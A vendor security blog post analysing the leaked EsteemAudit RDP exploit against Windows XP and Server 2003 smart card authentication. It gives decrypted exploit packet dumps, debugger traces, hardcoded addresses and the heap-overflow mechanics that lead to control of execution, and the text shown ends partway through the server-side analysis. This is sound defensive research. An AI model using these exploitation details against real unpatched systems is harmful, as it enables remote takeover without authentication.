Summary

In April, a group known as the “Shadow Brokers” released a cache of stolen information that included multiple tools to exploit vulnerabilities in various versions of Microsoft Windows. The most famous of these is an exploit tool called “EternalBlue” which was repurposed to spread the WanaCrypt0r ransomware/worm earlier this month. Another tool released in this dump is “EsteemAudit”, which exploits CVE-2017-9073, a vulnerability in the Windows Remote Desktop system on Windows XP and Windows Server 2003. Both versions of this operating system are no longer supported by Microsoft (XP ended in 2014, Server 2003 in 2015) and as such Microsoft has not released a patch for the vulnerability.

Organizations that still rely on these out-of-date operating systems need to ensure they are defending against exploitation of this vulnerability, as it allows a remote attacker to take control over the system without any authentication.

Palo Alto Networks defends our customers’ systems from this exploit in the following ways:

Traps prevents exploitation of this vulnerability on Windows XP and Server 2003 hosts.

Threat Prevention Signature 32533 released in Content Update 692 detects the exploit in the NGFW.

Organizations that cannot upgrade systems and do not use the protections describe above should consider disabling the smart card module through Group Policy or in the registry.

Exploitation of the vulnerability is complex, but the EsteemAudit tool makes it possible for novices to use it. The remainder of this blog includes a detailed analysis of where the vulnerability exists and how EsteemAudit exploits it.

EsteemAudit Overview

This RDP remote exploit named EsteemAudit uses an inter-chunk heap overflow in an internal structure (named key_set with a size of 0x24a8) on the system heap allocated by gpkcsp.dll, which is a component of Windows Smart Card. In detail, there is 0x80 sized buffer (named key_data) in the key_set structure to store smart card information, after which there are two key_object pointers in adjacent memory. However, there is a call to memcpy in gpkcsp! MyCPAcquireContext with no boundary check, copying the entire user-controlled sized data to the location of 0x80 sized key_data. If the attacker puts more than 0x80 sized data as the source argument of memcpy, the key_object pointer adjacent with key_data will be overflowed. To exploit this, the EsteemAudit code puts the 0xb2-7 size controlled data as the source argument of memcpy, and overflowed key_object pointer with a fixed address 0x080190dc, which is an address of data section of gpkcsp.dll. After triggering the memcpy path to complete the overflow, the exploiter puts user-controlled data in that global variable at a fixed address 0x080190d8 in data section, and then triggers gpkcsp!ReleaseProvider to release the C++ object key_object (call [vtable+8]) to get control over EIP. Finally, the SharedUserData technique is used to call VirtualProtect by syscall with number 0x8f and the first stage shellcode is executed.

Introduction

Remote RDP exploits are the stuff of legend. Fortunately, no public remote exploit for Windows RDP has been available since the NT4/Win98 era. In April 2017, a group using the name “The Shadowbrokers” released an RDP exploit named EsteemAudit which attacks the remote desktop service on Windows 2003 and Windows XP by using an inter-chunk heap overflow in the Smart Card component gpkscp.dll. In this blog, we will first describe some of the internals of remote desktop protocol and mechanism, and then analyze the EsteemAudit.exe itself. Next we will analyze the details about how to deal with the RDP data in kernel and user land, how the inter-chunk heap overflow occurs, and how to exploit this inter-chunk heap overflow to execute shellcode on the vulnerable system. Finally, we will introduce the possible detection methods and how to mitigate this vulnerability without a patch.

Mechanism and Protocol

The full details of how the Remote Desktop Protocol operates are out of scope for this blog, but in this section we’ll describe the components which are relevant to this exploit.

Architecture and Components

The Terminal Services Architecture has four parts: multi-user kernel, the Remote Desktop client, the Terminal Services Licensing service, and Session Directory Services.

Figure 1 Terminal Services Architecture Diagram – (Used with permission from Microsoft)

The following table describes the Terminal Services architecture components.

Figure 2 Terminal Services Architecture Components – From Microsoft

Nicolas Collignon describes the relationships between these components in his paper named Tunneling TCP over RDP.

In the kernel-land, the relevant component is rdpwd.sys, which is responsible for MCS (Multipoint Communication Service) stack. The RDP PDU (Protocol Data Unit) are parsed and decrypted in this component.

In user-land, the winlogon component is most relevant. It is responsible for authentication of remote client. For example, if the client request a smart card redirection, the winlogon.exe will launch smart card component and communicate with the client.

RDP Protocol

With the architecture and components of remote desktop service introduced, we can dive into the components of the Remote Desktop Protocol that are relevant to the vulnerability exploited by EsteemAudit. There are several RDP documents in MSDN documentation page which are relevant to this analysis. Some of them describe the basic protocol like, [MS-RDPBCGR]: Remote Desktop Protocol: Basic Connectivity and Graphics Remoting. Others describe extensions for RDP, like [MS-RDPESC]: Remote Desktop Protocol: Smart Card Virtual Channel Extension. Aurélien Bordes listed all of the extensions at a talk at the OSSIR conference in 2010.

For the purposes of this analysis, we will consider the following components:

MS-RDPBCGR is based on the ITU (International Telecommunication Union) T.120 series of protocols. The T.120 standard is composed of multiple other standards, and uses the X.224 standard for transport layer communications. The X.224 standard specified how RDP packets should be encrypted and we can see this in “request PDU” and “confirm PDU” requests.

The encryptionMethods flag in X.224 request in the example below is set to 0x00000012, which represents the client requesting the 128-bit RC4 encryption [128BIT_ENCRYPTION_FLAG 0x00000002] or FIPS[FIPS_ENCRYPTION_FLAG 0x00000010].

Figure 3 X.224 Request PDU Specifying Encryption Methods

The server responds by confirming the encryptionMethod is 0x00000002 (128-bit RC4) in an X.224 confirm PDU message.

Figure 4 X.224 Confirm PDU message Confirming Encryption Method (128-bit RC4)

To keep this blog from going outside the scope of the vulnerability we will not explain the remaining steps in the protocol connection process, but the details are available in in [MS-RDPBCGR] – Remote Desktop Protocol: Basic Connectivity and Graphics Remoting.

After the RDP connection is created, the PDU between client and server will be encrypted with the negotiated encryption method (for example: 128-bit RC4). Below is an example of Client Info PDU.

Figure 5 RDP Client Info PDU

The data included in this PDU is parsed out into the following components:

64 00 04 03 eb 70 81 56 -> PER encoded (ALIGNED variant of BASIC-PER) SendDataRequest initiator = 1005 (0x03ed) channelId = 1003 (0x03eb) dataPriority = high segmentation = begin | end userData length = 0x156 = 342 bytes 48 00 -> TS_SECURITY_HEADER::flags = 0x0048 0x0048 (SEC_INFO_PKT | SEC_ENCRYPT 00 00 -> TS_SECURITY_HEADER::flagsHi – ignored as flags field does not contain SEC_FLAGSHI_VALID (0x8000) 6f 6d 0c d5 b7 0c 5d 7e -> TS_SECURITY_HEADER1::dataSignature

The remaining data from the offset 0x51 to the end which begins with 86 b8 8a a9 is Encrypted TS_INFO_PACKET.

len 0178d254 0000014a J… encrypted 038e3c8b a98ab886 dabad90d d9d8f9e3 8dd5bafa ……………. 038e3c9b 1407ea51 883cb6af 21ca2bdb cab1e030 Q…..<..+.!0… 038e3cab d6aaeccd 1c599171 1be8c40d 96d651dc ….q.Y……Q.. 038e3cbb 2d018a22 242aac0d 7b58948f 4be28b23 “..-..*$..X{#..K 038e3ccb 36cf54c6 52b70939 4064362b 9e37e989 .T.69..R+6d@..7. 038e3cdb 9ff09b06 4f862c80 1546198a ac9b03ed …..,.O..F….. 038e3ceb 420acbdf 566591c1 7f471159 0e1d6906 …B..eVY.G..i.. 038e3cfb 906474f4 476ea91e 4db2edd2 fb464bfd .td…nG…M.KF. plain 038e3c8b 00000000 00000133 001a0000 00000000 ….3……….. 038e3c9b 00000000 00640061 0069006d 0069006e ….a.d.m.i.n.i. 038e3cab 00740073 00610072 006f0074 00000072 s.t.r.a.t.o.r… 038e3cbb 00000000 00020000 0031001c 00320039 ……….1.9.2. 038e3ccb 0031002e 00380036 0032002e 00320034 ..1.6.8…2.4.2. 038e3cdb 0031002e 003c0000 003a0043 0057005c ..1…<.C.:.\.W. 038e3ceb 004e0049 0054004e 0053005c 00730079 I.N.N.T.\.S.y.s. 038e3cfb 00650074 0033006d 005c0032 0073006d t.e.m.3.2.\.m.s.

We can parse the protocol details from plain TS_INFO_PACKET according the format described in [MS-RDPBCGR].

Figure 6 Info Packet Structure from MS-RDPBCGR

Smart Card Extension

RDP has an extension which supports remote client login using a smart card. From [MS-RDPESC], we can find the protocol sequence and details of protocol flow.

Figure 7 High Level Protocol Sequence Diagram from MS-RDPESC

Figure 8 Protocol Flow Diagram from MS-RDPESC

EsteemAudit uses the type of SCARD_IOCTL_TRANSMIT to communicate with the smart card module on the server.

Figure 9 SCARD_IOCTL_TRANSMIT description from MS-RDPESC

As the specification states, the packet returned to a client by the server has a type of Transmit_Return. The specification describes the various fields this packet includes.

Figure 10: Transmit_Return description from MS-RDPESC

The packet sent from server to server has a type of Transmit_Call.

Figure 11 Transmit_Call description from MS-RDPESC

RDP Exploit Client (EsteemAudit.exe)

After understanding the basic knowledge of architecture, components, protocol and communications of RDP, we can look specifically at what the EsteemAudit.exe exploit client does. EsteemAudit.exe is responsible for communicating with the RDP server just like an RDP Client according the RDP protocol. It emulates an RDP client using a smart card, and sends a smart card redirection authentication request to RDP server to force it to handle the data and structure sent by EsteemAudit using the smart card module gpkcsp.dll where the vulnerability exists.

EsteemAudit.exe Overview

After reverse engineering the EsteemAudit binary, we found the exploit-start function named GoRunExp at the address .text:00381009. We will not show the entire function for brevity, and only introduce the main execution flow here.

GoRunExp à InitializeInputParameters //get the config information à connect2Target ààinitRDPLib ààemulateSmartCard ààconnect2RDP ààregisterCallback(CallBackFunction) à RecvProcessSendPackets à RdpLib_SendKeyStrokes // Sending Space Bar à RecvProcessSendPackets à buildExpBuffer ààbuild_all_x86 àààbuild_overflow_x86 àààbuild_exploit_x86 àààbuild_egg0_x86 ààà//set auth code, xor mask, open payload dll, etc ààà build_egg1_payloadxxx à RdpLib_SendKeyStrokes // Sending Enter key à RecvProcessSendPackets … à RecvProcessSendPackets àà//send smart card authentication redirection request, receive and process the according response, communicate with the server, in the last phase send the ExpBuffer(including overflow buffer, exploit and egg0 buffer) to the server to control the EIP, at last send the end response to server to end the first stage. àà//to be mentioned, CallBackFunction registered in connect2Target will be called to process the response and prints logs like “SELECT_FILE – GPK Card MF”, “GET_RESPONSE – data unit size”, “GET_RESPONSE – serial number”. …

We found that after the preparation work including connect2Target and building the exploit buffer, RecvProcessSendPackets is called repeatedly to receive and process the data from the server and send the buffer previously prepared back to it. RecvProcessSendPackets is responsible for all the details of communicating with smart card modules on the RDP server, which we discuss in an upcoming section. However, we will not introduce the details of this function, but focus on what packets RecvProcessSendPackets sends to exploit the vulnerability.

Overflow Packet

When building the overflow packet, there are only two effective fields: a value at the 0x8d offset and a constant 0x9000 at the 0x91 offset, all other fields are random data.

Figure 12 build_overflow_x86 function assembling the exploit packet.

To see the complete data sent by client, we can inspect one of the overflow packets.

Figure 13 Overflow Packet dissected in Wireshark

As described below, after the offset 0x51, the data named TS_INFO_DATA is encrypted. To decrypt the TS_INFO_DATA, we noticed that all of data are encrypted by client with the Libeay32!RC4 function.

We can get the prototype of the RC4 function — RC4(key, len, in, out) by simply debugging it.

Figure 14 Libeay32!RC4 disassembly.

We can then set a breakpoint before and after the RC4 function execution to print the in and out buffers retrieve the encrypted data and decrypted data.

bu image00380000+0xab24 “.echo len;dc esp+10 L1;.echo rc4_in_buffer;dc poi(esp+8);gc” bu image00380000+0xab39 “.echo rc4_out_buffer;dc poi(esp+0c);gc”

The decrypted buffer gives us the content of the TS_INFO_DATA of the overflow packet.

len 0178cf98 000000fc …. encrypted 038e8d6b 0649efba dcb9b66b f63f676c a2ddcc3b ..I.k…lg?.;… 038e8d7b 56e1fb2e c9ed4e9c bf566979 4d9e3868 …V.N..yiV.h8.M 038e8d8b 5dffb177 af4531e2 cd87df84 18a3afff w..].1E……… 038e8d9b 56c96e10 7dd116d9 f1db47e2 b65bba04 .n.V…}.G….[. 038e8dab 5d8892ca 324864cb 70bc4793 82be0c5b …].dH2.G.p[… 038e8dbb d5737937 512ce129 21738638 ca18a61a 7ys.).,Q8.s!…. 038e8dcb 58a5f061 fe8af8db f6c40f83 a975c925 a..X……..%.u. 038e8ddb 7da42561 8e0a740f b10381b2 ef4f3c00 a%.}.t…….<O. … decrypted 038e8d6b 000000f4 00000003 49434472 00000000 ……..rDCI…. 038e8d7b 00000001 00000000 000000e0 00081001 ……………. 038e8d8b cccccccc 000000c0 00000000 00000000 ……………. 038e8d9b 00000000 000000b2 00000001 000000b2 ……………. 038e8dab fce3940b f2c3bad3 7134f185 b595ac48 ……….4qH… 038e8dbb 2d8186ec 56e66ee1 ca0e854f e618d890 …-.n.VO……. 038e8dcb fcf78fcf 6972d722 8a3307d7 e1715046 ….”.ri..3.FPq. 038e8ddb 6d3184f2 7eb82735 0c1d6f4b e6a262fe ..1m5′.~Ko…b.. Protocol details [references: [MS-RDPESC].pdf, [MS-RDPEFS].pdf, [MS-RPCE].pdf] 000000f4 ->CodePage 00000003 ->Flags Device Control Response (DR_CONTROL_RSP) ->DeviceIoReply (16 bytes): DR_DEVICE_IOCOMPLETION 4472 ->RDPDR_CTYP_CORE 0x4472 4943 ->PAKID_CORE_DEVICE_IOCOMPLETION 0x4943 00000000 ->DeviceId (4 bytes) 00000001 ->CompletionId (4 bytes) 00000000 ->IoStatus (4 bytes) 000000e0 ->OutputBufferLength (4 bytes) ->OutputBuffer (variable) 00081001 cccccccc Type Serialization Version 1 header 000000c0 ->ObjectBufferLength (4 bytes) 00000000 ->Filler (4 bytes) 00000000 ->ReturnCode 00000000 ->dwProtocol 000000b2 ->cbRecvLength ->pbExtraBytes 00000001 000000b2 fce3940b f2c3bad3 7134f185 b595ac48 2d8186ec 56e66ee1 ca0e854f e618d890 fcf78fcf 6972d722 8a3307d7 e1715046 6d3184f2 7eb82735 0c1d6f4b e6a262fe

As the execution continues, we can extract the two fields from the memory dump which will trigger the buffer overflow.

WINDBG>dc 04fdd650+8d 04fdd6dd 080190dc 00009000 d7d93015 9dd1e4b1 .........0...... 1 2 WINDBG & gt ; dc 04fdd650 + 8d 04fdd6dd 080190dc 00009000 d7d93015 9dd1e4b1 . . . . . . . . . 0......

The address 0x080190dc is important to note, we will introduce how it is involved in the exploit in the RDP Server section below.

Exploit Packet Analysis

When building the exploit buffer, there are many interesting fields used in the buffer, like 0x11111111, 0x22222222 and 0x7ffe0300.

Figure 15 The build_exploit_x86 function assmploying the exploit buffer.

Figure 16 The exploit buffer in a live pcap.

We can extract the data for the exploit buffer the same way we did for the overflow buffer.

encrypted 038e9d83 0d76b81e 51331ed0 b3b4b29d ba4a1aaa ..v…3Q……J. 038e9d93 ad0b26e1 c15daa1e 20079871 a18afe91 .&….].q.. …. 038e9da3 46d26828 a8883de7 8b54718e 33ebf243 (h.F.=…qT.C..3 038e9db3 9d3d556b f8a4f6f8 4a29500c 5d06bd19 kU=……P)J…] 038e9dc3 e6099604 4bc7dc66 92103b5e 6da27faa ….f..K^;…..m 038e9dd3 07420e27 c95b5664 79d50284 f7bbd1d3 ‘.B.dV[….y…. 038e9de3 79c389e1 f795e1cf bcb35b4d 69d0ef0c …y….M[…..i 038e9df3 92beeadf 9010b061 763848d5 bc032358 ….a….H8vX#.. … Decrypted 038e9d83 00000204 00000003 49434472 00000000 ……..rDCI…. 038e9d93 00000001 00000000 000001f0 00081001 ……………. 038e9da3 cccccccc 000001d0 00000000 00000000 ……………. 038e9db3 00000000 000001c0 00000001 000001c0 ……………. 038e9dc3 ada0d86e 08011e7a 0801118e 08005e85 n…z……..^.. 038e9dd3 0800bedd 11111111 2a6bd248 972dc73e ……..H.k*>.-. 038e9de3 00000000 6431e6f0 08011fef 08019078 ……1d….x… 038e9df3 abc45491 22222222 00000000 316f482f .T..””””…./Ho1 …

The exploit buffer packet is also a Device Control Response (DR_CONTROL_RSP) with the kind set to DR_DEVICE_IOCOMPLETION (0x49434472). This is the same as the overflow buffer described earlier.

The final two packets of the first stage are the Select_MF and End Response messages, respectively. We only show the decrypted data here.

len 0178cf98 0000004c L… plain 038ead9b 00000044 00000003 49434472 00000000 D…….rDCI…. 038eadab 00000001 00000000 00000030 00081001 ……..0……. 038eadbb cccccccc 00000010 00000000 00000000 ……………. 038eadcb 00000000 00000002 00000001 00000002 ……………. 038eaddb 00000090 00000000 00000000

The length of pExtraBytes is two. Two two extra bytes “90 00” will be processed by smart card module on the Server.

len 0178cf98 0000003c 1 2 len 0178cf98 0000003c

The length of pExtraBytes is 0, it is just an end response. This completes the traffic from EsteemAudit, next we’ll go into how the server processes this data.

RDP Server

With the details on what the client send to the server and the protocol in the encrypted packet out of the way, we can start looking at how the server processes the packet and where the vulnerability is exploited.

Kernel Layer

As described in the Architecture and Component section, we know that the kernel component is responsible for receiving the RDP data. We need to identify the data entry point function that handles the RAW data sent from the client to the server.

Look at the two stack traces below. It directly shows the execution flows when a DEVICE_IO packet arrives. Termdd is the core dispatcher, RDPWD is responsible for MCS stack ad we can get the raw data sent by client from RDPWD!MCSIcaRawInput. The next several functions parsed data layer by layer according to the RDP protocol described earlier.

kd> k # ChildEBP RetAddr 00 baf3b32c f6e134ef rdpdr!DrExchangeManager::RecognizePacket+0x8 01 baf3b350 f6e12e34 rdpdr!DrSession::ReadCompletion+0x95 02 baf3b368 8081d741 rdpdr!DrSession::ReadCompletionRoutine+0x38 03 baf3b398 f76895d8 nt!IopfCompleteRequest+0xcd 04 baf3b3d4 f768a0d2 termdd!IcaChannelInputInternal+0x1f0 05 baf3b3fc ba1a26e1 termdd!IcaChannelInput+0x3c 06 baf3b430 ba19c3c1 RDPWD!WDW_OnDataReceived+0x181 07 baf3b458 ba19c1b9 RDPWD!SM_MCSSendDataCallback+0x159 08 baf3b4c0 ba19bfe0 RDPWD!HandleAllSendDataPDUs+0x155 09 baf3b4dc ba1b9ba4 RDPWD!RecognizeMCSFrame+0x32 0a baf3b504 ba19b06b RDPWD!MCSIcaRawInputWorker+0x346 0b baf3b52c f768d194 RDPWD!MCSIcaRawInput+0x65 0c baf3b550 baa92fcb termdd!IcaRawInput+0x58 0d baf3bd90 f768c265 TDTCP!TdInputThread+0x371 0e baf3bdac 809418f4 termdd!_IcaDriverThread+0x4d 0f baf3bddc 80887f4a nt!PspSystemThreadStartup+0x2e 10 00000000 00000000 nt!KiThreadStartup+0x16 kd> k # ChildEBP RetAddr 00 f5a8b254 f6e14f22 rdpdr!RxLowIoCompletion+0x3a 01 f5a8b260 f6e15291 rdpdr!DrDevice::CompleteRxContext+0x2a 02 f5a8b284 f6e158b0 rdpdr!DrDevice::CompleteBusyExchange+0x4d 03 f5a8b2cc f6e164b2 rdpdr!DrDevice::OnDeviceControlCompletion+0x116 04 f5a8b2f0 f6e1269d rdpdr!DrDevice::OnDeviceIoCompletion+0x1ee 05 f5a8b310 f6e1285a rdpdr!DrExchangeManager::OnDeviceIoCompletion+0x55 06 f5a8b324 f6e1351f rdpdr!DrExchangeManager::HandlePacket+0x26 07 f5a8b350 f6e12e34 rdpdr!DrSession::ReadCompletion+0xc5 08 f5a8b368 8081d741 rdpdr!DrSession::ReadCompletionRoutine+0x38 09 f5a8b398 f76c95d8 nt!IopfCompleteRequest+0xcd 0a f5a8b3d4 f76ca0d2 termdd!IcaChannelInputInternal+0x1f0 0b f5a8b3fc f53856e1 termdd!IcaChannelInput+0x3c 0c f5a8b430 f537f3c1 RDPWD!WDW_OnDataReceived+0x181 0d f5a8b458 f537f1b9 RDPWD!SM_MCSSendDataCallback+0x159 0e f5a8b4c0 f537efe0 RDPWD!HandleAllSendDataPDUs+0x155 0f f5a8b4dc f539cba4 RDPWD!RecognizeMCSFrame+0x32 10 f5a8b504 f537e06b RDPWD!MCSIcaRawInputWorker+0x346 11 f5a8b52c f76cd194 RDPWD!MCSIcaRawInput+0x65 12 f5a8b550 f55b2fcb termdd!IcaRawInput+0x58 13 f5a8bd90 f76cc265 TDTCP!TdInputThread+0x371 14 f5a8bdac 809418f4 termdd!_IcaDriverThread+0x4d 15 f5a8bddc 80887f4a nt!PspSystemThreadStartup+0x2e 16 00000000 00000000 nt!KiThreadStartup+0x16

We can see the content of srcBuf through the comment from IDA pro when RDPWD!MCSIcaRawInputWorker call RDPWD!RecognizeMCSFrame.

Figure 17 Content of srcBuf

We can also see how RDPWD!RecognizeMCSFrame decodes PER.

Figure 18 RDPWD!RecognizeMCSFrame decodes PER-encoded MCS Domain PDU

After parsing the MCS stack, RDPWD will parse the TS_DATA_INFO part. The data in TS_DATA_INFO is encrypted so the SM_MCSSendDataCallback function calls SMDecryptPacket-> DecryptData->rc4 to decrypt the data first.

Figure 19 Decrypting the TS_DATA_INFO data

For those who want to recreated this, you can also set breakpoint in RDPWD!rc4 function which is a similar implementation with libeay32 like we did in the client to see encrypted and decrypted data on the server.

Next, the SM_MCSSendDataCallback function calls WDW_OnDataReceived will handle the decrypted data.

Figure 20 WDW_OnDataReceived Function Call

After this, the function calls termdd!IcaChannelInput to dispatch decrypted data to different channels. In this example, the buffer overflow packet sent by EsteemAudit is the Device IO packet which is a part of File System Virtual Channel Extension and will be parsed by RDPDR module.

We can find the DR_DEVICE_IOCOMPLETION [MS-RDPEFS.pdf] header in the decrypted buffer overflow packet.

000000f4 ->CodePage 00000003 ->Flags Device Control Response (DR_CONTROL_RSP) ->DeviceIoReply (16 bytes): DR_DEVICE_IOCOMPLETION 4472 ->RDPDR_CTYP_CORE 0x4472 4943 ->PAKID_CORE_DEVICE_IOCOMPLETION 0x4943

In RDPDR module, we can see there is vtable call to recognize the packet and then handle the packet.

Figure 21 RDPDR Module Handling the packet

If the server receives a packet marked as RDPDR_HEADER, RecognizePacket with the appropriate class is called.

Figure 22 RecognizePacket called for RDPDR_HEADER

The buffer overflow and exploit packets sent by EsteemAudit have the 0x49434472 flag set. 0x4472 is used for the Device redirector core component and 0x4943 is used for Device I/O response.

Figure 23 Packet Type Flags from [MS-RDPESP]

After recognizing the packet type, rdpdr!DrSession::ReadCompletion calls HandlePacket to parse the packet. We can see OnDeviceControlCompletion will deal with the header.

Figure 24 Continued Parsing of the RDP Packet

After handling the packet, we can see rdpdr!DrDevice::CompleteRxContext be notified via I/O that we have processed the packet and we can exchange the context. Other modules are also notified and continue to process the left part of the packet, here is pbExtraBytes buffer.

Figure 25 CompleteRxContext Notified of the Processed Packet

User Land Layer

In user land, winlogon.exe calls the smart card modules, like gpkcsp, scredir, and winscard to communicate with the client.

First, we can investigate the stack trace below. It is a stack trace of copying the pbExtraBytes sent by the client from the kernel to the user land. We see the data sent by client flow into the user land on the server.

0:003> k ChildEBP RetAddr 00fce058 5cd45619 scredir!_CopyReturnToCallerBuffer 00fce104 723642b0 scredir!SCardTransmit+0x194 00fce180 08005c32 WinSCard!SCardTransmit+0x76 00fce1b0 0800921d gpkcsp!DoSCardTransmit+0x3d 00fce41c 0800e2dd gpkcsp!WriteTimestamps+0x679 00fcf39c 08004acb gpkcsp!MyCPAcquireContext+0x817 00fcf708 77f50909 gpkcsp!CPAcquireContext+0x26e 00fcf7cc 77f50a5f ADVAPI32!CryptAcquireContextA+0x55f 00fcf834 0103fd78 ADVAPI32!CryptAcquireContextW+0xa4 00fcf864 0104086c winlogon!CSCLogonInit::CryptCtx+0x75 00fcf874 010408c1 winlogon!CSCLogonInit::RelinquishCryptCtx+0x10 00fcf898 0103a8f5 winlogon!ScHelperGetCertFromLogonInfo+0x22 00fcf8bc 77c50193 winlogon!s_RPC_ScHelperGetCertFromLogonInfo+0x3f 00fcf8e0 77cb33e1 RPCRT4!Invoke+0x30 00fcfce0 77cb35c4 RPCRT4!NdrStubCall2+0x299 00fcfcfc 77c4ff7a RPCRT4!NdrServerCall2+0x19 00fcfd30 77c7e732 RPCRT4!DispatchToStubInCNoAvrf+0x38 00fcfd48 77c5042d RPCRT4!DispatchToStubInCAvrf+0x14 00fcfd9c 77c50353 RPCRT4!RPC_INTERFACE::DispatchToStubWorker+0x11f 00fcfdc0 77c511dc RPCRT4!RPC_INTERFACE::DispatchToStub+0xa3 00fcfdfc 77c512f0 RPCRT4!LRPC_SCALL::DealWithRequestMessage+0x42c 00fcfe20 77c58678 RPCRT4!LRPC_ADDRESS::DealWithLRPCRequest+0x127 00fcff84 77c58792 RPCRT4!LRPC_ADDRESS::ReceiveLotsaCalls+0x430 00fcff8c 77c5872d RPCRT4!RecvLotsaCallsWrapper+0xd 00fcffac 77c4b110 RPCRT4!BaseCachedThreadRoutine+0x9d 00fcffb8 7c824829 RPCRT4!ThreadStartRoutine+0x1b WARNING: Stack unwind information not available. Following frames may be wrong. 00fcffec 00000000 kernel32!GetModuleHandleA+0xdf

The most important function in user land on the server is gpkcsp!MyCPAcquireContext. It is responsible for sending, receiving and processing smart card packets, and it corresponds to the RecvProcessSendPackets function of EsteemAudit.

Before we start introduce this function, let’s look at scredir!SCardTransmit. This function is called by gpkcsp!DoSCardTransmit and it is a basic unit for sending and receiving the smart card information.

Figure 26 scredir!SCardTransmit Function

We that the 1st argument to _SendSCardIOCTL, 0x900d0, represents SCARD_IOCTL_TRANSMIT, and the data structure of the send and receive buffer fallows _Transmit_Call and _Transmit_Return structure described earlier. After getting the data from the kernel, Transmit_Return_Decode will decode and process the data. Pay attention to scredir!_CopyReturnToCallerBuffer function, it will copy the data sent by client to a global variable 0x080190d8 in data section. This means that the data in buffer overflow packet and in exploit packet will be copied to the address 0x080190d8. That’s why an absolute address 0x080190dc is hardcoded in buffer overflow packet.

Figure 27 Data from the Overflow and Exploit Packets are copied to 0x080190d8.

Now we can introduce the gpkcsp!MyCPAcquireContext function and the whole exploit process. The details for SCardEstablishContext and ConnectToCard are not shown here, but we will introduce what happened when the data in buffer overflow packet arrived.

Figure 28 gpkcsp!MyCPAcquireContext Function

There is global variable named ProvCont which stores a 0x24a8 sized heap address.

0:003> dc gpkcsp!ProvCont (08176dd8) 08176dd8 02cdcb58 X… 0:003> !heap -p -a 0x2cdcb58 address 02cdcb58 found in _DPH_HEAP_ROOT @ 3a1000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize – VirtAddr VirtSize) 3a3c80: 2cdcb58 24a8 – 2cdc000 4000 7c96d97a ntdll!RtlAllocateHeap+0x00000e9f 77b8d08c msvcrt!malloc+0x0000006c 08012599 gpkcsp!GMEM_Alloc+0x0000000e 0800a937 gpkcsp!DllMain+0x00000090 080120fc gpkcsp!_DllMainCRTStartup+0x00000052 7c94a352 ntdll!LdrpCallInitRoutine+0x00000014 7c963465 ntdll!LdrpRunInitializeRoutines+0x00000367 7c964311 ntdll!LdrpLoadDll+0x000003cd 7c964065 ntdll!LdrLoadDll+0x00000198 7c801bf3 kernel32!LoadLibraryExW+0x000001b2 7c801dbd kernel32!LoadLibraryExA+0x0000001f 7c801df3 kernel32!LoadLibraryA+0x000000b5 77f42fef ADVAPI32!CryptAcquireContextA+0x0000045c 77f50a5f ADVAPI32!CryptAcquireContextW+0x000000a4 0103fd78 winlogon!CSCLogonInit::CryptCtx+0x00000075 0104086c winlogon!CSCLogonInit::RelinquishCryptCtx+0x00000010 010408c1 winlogon!ScHelperGetCertFromLogonInfo+0x00000022 0103a8f5 winlogon!s_RPC_ScHelperGetCertFromLogonInfo+0x0000003f 77c50193 RPCRT4!Invoke+0x00000030 77cb33e1 RPCRT4!NdrStubCall2+0x00000299 77cb35c4 RPCRT4!NdrServerCall2+0x00000019 77c4ff7a RPCRT4!DispatchToStubInCNoAvrf+0x00000038 77c7e732 RPCRT4!DispatchToStubInCAvrf+0x00000014 77c5042d RPCRT4!RPC_INTERFACE::DispatchToStubWorker+0x0000011f 77c50353 RPCRT4!RPC_INTERFACE::DispatchToStub+0x000000a3 77c511dc RPCRT4!LRPC_SCALL::DealWithRequestMessage+0x0000042c 77c512f0 RPCRT4!LRPC_ADDRESS::DealWithLRPCRequest+0x00000127 77c58678 RPCRT4!LRPC_ADDRESS::ReceiveLotsaCalls+0x00000430 77c58792 RPCRT4!RecvLotsaCallsWrapper+0x0000000d 77c5872d RPCRT4!BaseCachedThreadRoutine+0x0000009d 77c4b110 RPCRT4!ThreadStartRoutine+0x0000001b 7c824829 kernel32!BaseThreadStart+0x00000034

Figure 29 below graphically shows the data structure of gpkcsp!ProvCont.

Figure 30 Graphical Depiction of the gpkcsp!ProvCont data structure.

After calling DoSCardTransmit to deal with buffer overflow packet and store the data in 0x080190d8, MyCPAcquireContext initialize the KeyData memory (0x80) and copies the data at 0x080190dd with the size in the data sent by client (0xb2-7) to the KeyData memory.

Figure 31 MyCPAcquireContext Initializes data structure and copies data, causing the overflow

Figure 32 below shows how memory is overwritten causing the heap overflow.

Figure 32 Graphical Depiction of the Heap Overflow

The debug log shows where KeyObject object overflows.

0:003> dc 02cdcb58+a0+b8-20 02cdcc90 b7314210 544f2b0f 34059cf0 ead224e5 .B1..+OT…4.$.. 02cdcca0 22ef2496 b2dcb268 9c36556f 159e7181 .$.”h…oU6..q.. 02cdccb0 080190dc 00009000 70e2a252 b67b7cc7 ……..R..p.|{. 02cdccc0 62937b2c afe0bbbd 93606931 dcdba152 ,{.b….1i`.R… 02cdccd0 00cd84d1 00000000 00000000 00000000 ……………. 02cdcce0 00000000 00000000 00000000 00000000 ……………. 02cdccf0 00000000 00000000 00000000 00000000 ……………. 02cdcd00 00000000 00000000 00000000 00000000 …………….

After KeyObject overflows, we can see how gpkcsp!MyCPAcquireContext deals with the next packets and how the EIP was controlled.

Figure 33 gpkcsp!MyCPAcquireContext handles the subsequent packets

We note that the unsymbolized function sub_8009094 calls DoSCardTransmit and copies expbuffer to 0x080x90d8, which is an always fix address to store any data sent by client without ASLR (Address Space Layout Randomization) on Windows Server 2003.

